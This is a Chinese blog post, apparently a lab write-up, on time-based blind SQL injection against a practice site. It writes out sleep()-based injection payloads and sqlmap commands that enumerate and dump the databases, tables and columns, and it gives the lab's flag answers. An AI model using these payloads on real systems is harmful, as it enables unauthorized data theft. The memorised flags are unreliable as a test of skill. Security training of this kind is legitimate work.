延时盲注练习

这篇博客详细描述了如何通过SQL注入技术获取数据库信息的过程,包括确定库名、表名和字段名。首先,利用ASCII比较和睡眠函数进行二分法缩小范围,手动或使用sqlmap工具来探测数据库、表和字段。最终,揭示了特定数据库kanwolongxia中的表loflag的字段time-hj作为关键信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1.跑库名

select *from news where id=”1” and if((ascii(substr((database()),1,1))>97),sleep(5),6)— qwe
如果手注,用二分法缩小范围。

用sqlmap跑:
python sqlmap.py -u http://inject2.lab.aqlab.cn/Pass-13/index.php?id=1 —dbs —level 3 -risk 2
跑出来6个库:
error
head_error
information_schema
kanwolongxia
post_error
widechar

select *from news where id=”1” and if(database()=’kanwolongxia’,sleep(5),6)— qwe
页面延迟5秒以上,说明库名为 kanwolongxia

2.跑表名

select *from news where id=”1” and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97),sleep(5),6)— qwe
如果手注,用二分法缩小范围。
跑其余表用limit
用sqlmap跑:
python sqlmap.py -u http://inject2.lab.aqlab.cn/Pass-13/index.php?id=1 -D kanwolongxia —tables —level 3 -risk 2
跑出三个表:
user
loflag
news

用select *from news where id=”1” and if((select table_name from information_schema.tables where table_schema=database() limit 0,1)=’loflag’,sleep(5),6)— qwe

确认表名为loflag

3.跑字段名

select *from news where id=”1” and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=’loflag’ limit 0,1),1,1))>97),sleep(5),6)— qwe
如果手注,用二分法缩小范围。
跑其余字段用limit

用sqlmap跑:
python sqlmap.py -u http://inject2.lab.aqlab.cn/Pass-13/index.php?id=1 -T loflag —dump —level 3 -risk 2
跑出:
zKaQ-QQQ
zKaQ-RD
zKaQ-Moren
zKaQ-time-hj(这道题的答案)
zKaQ-time-zxxz


延时注入(二)

1.跑库名

select *from news where id=(‘1’) and if((ascii(substr((database()),1,1))>97),sleep(5),6)— qwe
如果手注,用二分法缩小范围。

用sqlmap跑:
python sqlmap.py -u http://inject2.lab.aqlab.cn/Pass-13/index.php?id=1 —dbs —level 3 -risk 2
跑出来6个库:
error
head_error
information_schema
kanwolongxia
post_error
widechar

select *from news where id=(‘1’) and if(database()=’kanwolongxia’,sleep(5),6)— qwe
页面延迟5秒以上,说明库名为 kanwolongxia

2.跑表名

select *from news where id=(‘1’) and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97),sleep(5),6)— qwe
如果手注,用二分法缩小范围。
跑其余表用limit
用sqlmap跑:
python sqlmap.py -u http://inject2.lab.aqlab.cn/Pass-13/index.php?id=1 -D kanwolongxia —tables —level 3 -risk 2
跑出三个表:
user
loflag
news

select *from news where id=(‘1’) and if((select table_name from information_schema.tables where table_schema=database() limit 0,1)=’loflag’,sleep(5),6)— qwe

3.跑字段名

select *from news where id=(‘1’)and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=’loflag’ limit 0,1),1,1))>97),sleep(5),6)— qwe
如果手注,用二分法缩小范围。
跑其余字段用limit

用sqlmap跑:
python sqlmap.py -u http://inject2.lab.aqlab.cn/Pass-13/index.php?id=1 -T loflag —dump —level 3 -risk 2
跑出:
zKaQ-QQQ
zKaQ-RD
zKaQ-Moren
zKaQ-time-hj
zKaQ-time-zxxz(这道题的答案)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值